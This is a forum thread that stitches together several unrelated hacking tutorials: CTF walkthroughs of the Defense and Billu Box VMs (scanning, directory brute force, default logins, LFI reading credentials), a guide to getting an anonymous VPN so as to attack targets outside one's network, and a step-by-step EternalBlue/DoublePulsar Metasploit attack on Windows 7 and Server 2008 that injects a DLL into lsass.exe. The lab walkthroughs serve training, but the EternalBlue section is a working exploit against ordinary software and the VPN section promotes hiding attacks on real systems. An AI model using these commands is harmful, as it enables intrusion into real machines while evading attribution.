Login

**NINZA** · 05-02-2020, 11:45 AM

0			0

Defense VM is made by Silex Secure team. This VM is designed to honor and pay respects to the military of Nigeria and the soldiers who stood up against the terrorist attack. It is of intermediate level and is very handy in order to brush up your skills as a penetration tester. You can download it from

[To see content please register here]

Are you ready for the challenge soldier? The first step to attack is to identify the target. So, identify your target. To identify the target we will use the following command:
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Now that you have identified your target (mine is 192.168.1.17) you will need to acquire it and declare your victory. In order to acquire it we will need a plan to enter our enemy. To let us search for all the doors, closed or not. And for that let’s fire up the nmap.
nmap -p- -A 192.168.1.17
1
nmap -p- -A 192.168.1.17
[Image: 2.png?w=687&ssl=1]

Our search has led us to the result that Port nos. 21, 80,443, 2225 is open with the services of FTP, HTTP, HTTPS, SSH respectively. As the port 80 is open we can open our target IP in the browser.
[Image: 3.png?w=687&ssl=1]

But there is no hint or what-so-ever in there. But as this based on military aspects the hint could be camouflaged. Therefore let’s check the source code.
[Image: 4.png?w=687&ssl=1]

And yes!! We have found the flag 0 although it is coded base64. Upon decoding it will become netdiscover.
[Image: 5.png?w=687&ssl=1]

As the source is unknown territory, I inspected more and found that there was a directory which proved to be very useful: assests/lafiya.js
[Image: 6.png?w=687&ssl=1]

Open the said directory in the browser and check its source code. In the source code, you will find flag 1 which will be in hex.
[Image: 7.png?w=687&ssl=1]

Upon converting hex you will uncover flag 2 in an MD5 form.
[Image: 8.png?w=687&ssl=1]

When you convert MD5 value to its original, it will be nmap as shown in the image below.
[Image: 9.png?w=687&ssl=1]

The second flag was nmap that means there is something the nmap that we missed. And upon reviewing it I remembered that SSH service was open on the port 2225. And so I accessed it with the following command.
ssh 192.168.1.17 -p 2225
1
ssh 192.168.1.17 -p 2225
[Image: 10.png?w=687&ssl=1]

And there we have it our flag 2B in an MD5 value. Let’s convert it.
[Image: 11.png?w=687&ssl=1]

Our flag 2B is encrypted. That means there is something related to encryption and security. Now the best way to provide security to a website is through its security certificate. Let’s check it out.
[Image: 12.png?w=687&ssl=1]

Now, upon examining the certificate, you will find your third flag and a hint i.e [39 39 30].
[Image: 13.png?w=687&ssl=1]

Firstly, decode the flag which will be unit. Now if you decode it anywhere you will not get a result. And I did searched and searched again but couldn’t get it to decode. So I visited the author’s walkthrough and there it says that it is translated the unit. And therefore I used the unit in my walkthrough.
[Image: 14.1.png?w=687&ssl=1]

The combination of 3, 9, 0 will be the suffix of the word unit. But there is a lot of combination for it so let’s create those combinations with the help of crunch with the command:
crunch 3 3 390
1
crunch 3 3 390
[Image: 14.2.png?w=687&ssl=1]

We will get 27 possible combinations and so make a text file for dictionary attack and add the word ‘unit’ as a prefix to every combination. Now let’s use dirb to find anything related to unit and these combinations.
dirb

[To see content please register here]

/root/Desktop/dict.txt
1
dirb

[To see content please register here]

/root/Desktop/dict.txt
[Image: 14.3.png?w=687&ssl=1]

To our joy there is a directory that goes by unit990. Let’s open it in our browser without further delay.
[Image: 14.png?w=687&ssl=1]

We do not have credentials for logging in. So, I checked it source code instead. In the source code, you will find flag 4 in a base64 code.
[Image: 15.png?w=687&ssl=1]

Decode the flag and you will get admin.php
[Image: 16.png?w=687&ssl=1]

After finding the flag, I opened the directory in the browser.
[Image: 17.png?w=687&ssl=1]

Opening the previously found directory in the browser will show the same page but its source code is edited. As you will check it, you will find that flag 5 again in base64 code.
[Image: 18.png?w=687&ssl=1]

By decoding flag 5 you will get SQL injection. That means the next step should be SQL injection.
[Image: 19.png?w=687&ssl=1]

Now, this hint is just to throw us off our track. I used every SQL injection technique I could find but it didn’t help. So I used dirb on the target.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

I found a directory called assets. And opened it in the browser and found the 7th flag.
[Image: 21.png?w=687&ssl=1]

Now try and decode it widgets.
[Image: 22.1.png?w=687&ssl=1]

Now you can try and decode it but it’s hopeless to decode it anywhere online. So examined the dirb result more and found another directory called phpmyadmin
[Image: 22.png?w=687&ssl=1]

If you open this directory in the browser you will find a login page. I used the top 10 most commonly used password and username i.e root and root and got in. In the database, I found a silex table. Now silex is the team’s name so I guess this is the most important table.
[Image: 23.png?w=687&ssl=1]

Upon checking it, I found the admin and in admin, there was our 6th flag coded in base64
[Image: 24.png?w=687&ssl=1]

Upon decoding, it says Nigiarforcecloud.
[Image: 25.png?w=687&ssl=1]

And voila!! All our flags are uncovered. Good work soldiers. Solving this VM was good exercise and I salute the fallen Nigerian soldiers and wish them peace and praise the whole army.

Today through this article you will learn how an attacker can use anonymous VPN service to occupy public IP which will surely expand the area of your target list and you will be able to attack outside your network also.
Let’s Start!
In your, Kali Linux Open the terminal and type following command to start PPTP service for VPN configuration.
apt-get install network-manager-pptp
1
apt-get install network-manager-pptp
[Image: 1.png?w=687&ssl=1]

apt-get install network-manager-pptp-gnome
1
apt-get install network-manager-pptp-gnome
[Image: 2.png?w=687&ssl=1]

Ipjetable.net is the web site which provides free VPN service to their registered users but this site will open through a proxy server so therefore I took help of free-proxy.xyz to open ipjettable.net web page.
[Image: 3.png?w=687&ssl=1]

Here you need to unlock the website so that you can use open VPN service anonymously. Click on I subscribe tab. Here I had Google translator.
[Image: 4.png?w=687&ssl=1]

Then it requires registration for unlocking VPN service now gives your email id for registration. I had to use a temporary email id for registration.
[Image: 5.png?w=687&ssl=1]

When you will register into web site it will send you a mail in your inbox which contains username and password that we will use for VPN login. In the given screenshot you can observe we have highlighted the link, copy this link.
[Image: 6.png?w=687&ssl=1]

Now paste above copied link inside free-proxy.xyz as done above for unlocking login page for VPN service. When you will unlock it, the given below web page will get open inside browser which will ask for login credential now give username and password which have received through the mail.
[Image: 7.png?w=687&ssl=1]

Now click on install ipjetable which start VPN service installation for your local network.
[Image: 8.png?w=687&ssl=1]

Inside your, Kali Linux click on power icon available on right side corner of the screen to configuration VPN then select wired connected.
[Image: 9.png?w=687&ssl=1]

Now click on (+) “plus” to add a new network connection.
[Image: 10.png?w=687&ssl=1]

Select point to point tunneling protocol
[Image: 11.png?w=687&ssl=1]

Now add username and password to connect which VPN server. Then click on advanced tab and select radio button store password only for this user.
[Image: 12.png?w=687&ssl=1]

From given screenshot select the checkbox for PPTP authentication and encryption then once all configurations is completed click on ok. Till here we have configured VPN service successfully in our Kali Linux.
[Image: 13.png?w=687&ssl=1]

Let check our VPN IP that we have occupied
ifconfig
1
ifconfig
From the screenshot, you can read 192.168.0.102 is my local IP and 141.255.151.15 is our public IP now use this IP for your attack even outside of your network also.
[Image: 14.png?w=687&ssl=1]

Through this article, we are sharing recent zero-day exploit which requires the Metasploit framework to shoot any other windows based system. This exploit is a combination of two tools “Eternal Blue” which is useful as a backdoor in windows and “Doublepulsar” which is used for injecting DLL file with the help of payload. So we will manually add this exploit in Metasploit framework and step up for attacking window server 2008.
Attacker: Kali Linux
Target: Windows 7 and Windows Server 2008
Let’s Start!
Open the terminal in Kali Linux and type the following command to download this exploit from git hub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once the required exploit will get downloaded then open the folder and copy Eternal Blue- Doublepulsar .rb ruby file so that we can add this exploit inside Metasploit.
[Image: 2.png?w=687&ssl=1]

Now past the copied ruby file inside given path Usr/share/metasploit Framework /module/exploits/windows/smb which will add this exploit inside Metasploit framework.
[Image: 3.png?w=687&ssl=1]

Then load Metasploit framework to start and type following for testing zero-day exploit
msfconsole
1
msfconsole
This module exploits the vulnerability of SMBv1 and SMBv2 protocols through eternalblue. After that doublepulsar is used to inject remotely a malicious DLL.
use windows/smb/eternalblue_doublepulsar
msf exploit (eternalblue_doublepulsar)> set eternalbluepath /root/Desktop/eternalblue_doublepulsar-metasploit/deps
msf exploit (eternalblue_doublepulsar)> set doublepulsarpath /root/Desktop/eternalblue_doublepulsar-metasploit/deps
msf exploit (eternalblue_doublepulsar)>set targetarchitecture x64
msf exploit (eternalblue_doublepulsar)>set processinject lsass.exe
msf exploit (eternalblue_doublepulsar)>set lhost 192.168.1.6
msf exploit (eternalblue_doublepulsar)>set rhost 192.168.1.104
msf exploit (eternalblue_doublepulsar)>exploit
1
2
3
4
5
6
7
8
use windows/smb/eternalblue_doublepulsar
msf exploit (eternalblue_doublepulsar)> set eternalbluepath /root/Desktop/eternalblue_doublepulsar-metasploit/deps
msf exploit (eternalblue_doublepulsar)> set doublepulsarpath /root/Desktop/eternalblue_doublepulsar-metasploit/deps
msf exploit (eternalblue_doublepulsar)>set targetarchitecture x64
msf exploit (eternalblue_doublepulsar)>set processinject lsass.exe
msf exploit (eternalblue_doublepulsar)>set lhost 192.168.1.6
msf exploit (eternalblue_doublepulsar)>set rhost 192.168.1.104
msf exploit (eternalblue_doublepulsar)>exploit
Hence from the screenshot, you can observer only we need to set target’s architecture and IP before launching exploit and then when all information is set then launch your attack which will give you meterpreter session successfully as I have owned.
[Image: 5.png?w=687&ssl=1]

Hi friends! Once again we are here with a new vulnerable lab challenge “Billu Box” .created by Manish Kishan Tanwar it mainly attacker need to escalate privileges to gain root access. You can download it from

[To see content please register here]

.
Let’s breach!!!
Open the terminal in your Kali Linux scan your network using netdiscover command and hence from scanning result I got target IP 192.168.0.102
[Image: 1.png?w=687&ssl=1]

Then use nmap aggressive scan for port and protocol enumeration:
nmap -p- -A 192.168.0.102
1
nmap -p- -A 192.168.0.102
So here I found port 22 and 80 are opened for SSH and HTTP respectively.
[Image: 2.png?w=687&ssl=1]

Since port 80 is open so I explore target IP on the browser but here I didn’t get any remarkable result.
[Image: 3.png?w=687&ssl=1]

Without wasting time I choose another tool dirb for directories brute force attack. To start brute force attack for directories
Awesome! We have stepped up in the right direction and dug out many directories but when you will see the given screenshot there I had highlighted the “test” directories. So now I will go with a test directory.
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt
1
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt
[Image: 4.png?w=687&ssl=1]

So when I open the test.php file in the browser here I found a message “file parameter is empty please provide file path in file parameter” where file parameter is vulnerable to LFI.
[Image: 5.png?w=687&ssl=1]

Using a hackbar tool which is Firefox plug-in and Taking advantage of LFI vulnerability I try to include index.php in file parameter from file=index.php
[Image: 6.png?w=687&ssl=1]

So when I open the index.php file here I found another file c.php is included.
[Image: 7.png?w=687&ssl=1]

So again with help of hackbar, I look for the c.php file from file=c.php for further enumeration so that we can find some clue to exploit the target.
[Image: 8.png?w=687&ssl=1]

When I read c.php file here I got some information related to the connected database and the highlighted text is reflecting like credential for the database.
[Image: 9.png?w=687&ssl=1]

If you remembered the result of the dirb tool here it had revealed another directory which is phpmy so therefore I will go with phpmy for further enumeration.
[Image: 10.png?w=687&ssl=1]

Then again taking advantage LFI I explore config.inc.php from file=/var/www/phpmy/config.inc.php
[Image: 11.png?w=687&ssl=1]

Last but not least we have finally achieved something very remarkable and in the given screenshot you can read from the config.inc.php file I have found server’s login username and password root: toor respectively.
[Image: 12.png?w=687&ssl=1]

From port enumeration result we have found port 22 is open for ssh, therefore, I will try root: toor for ssh login. When I use these credential for ssh login successfully I got root access hence the given challenge is completed.
[Image: 13.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis